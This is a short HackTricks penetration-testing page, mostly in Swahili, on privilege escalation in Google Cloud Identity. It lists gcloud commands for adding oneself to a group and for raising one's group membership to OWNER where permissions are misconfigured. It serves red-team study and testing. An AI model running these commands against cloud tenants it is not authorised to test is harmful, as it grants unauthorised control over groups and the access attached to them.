GCP - Cloudidentity Privesc

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloudidentity

Kwa maelezo zaidi kuhusu huduma ya cloudidentity, angalia ukurasa huu:

GCP - IAM, Principals & Org Policies Enum

Jiongeze kwenye kundi

Ikiwa mtumiaji wako ana ruhusa za kutosha au kundi limewekwa vibaya, anaweza kuwa na uwezo wa kujifanya kuwa mwanachama wa kundi jipya:

bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Badilisha uanachama wa kikundi

Ikiwa mtumiaji wako ana ruhusa za kutosha au kikundi kimewekwa vibaya, anaweza kuwa na uwezo wa kujifanya Mmiliki wa kikundi ambacho ni mwanachama wake:

bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks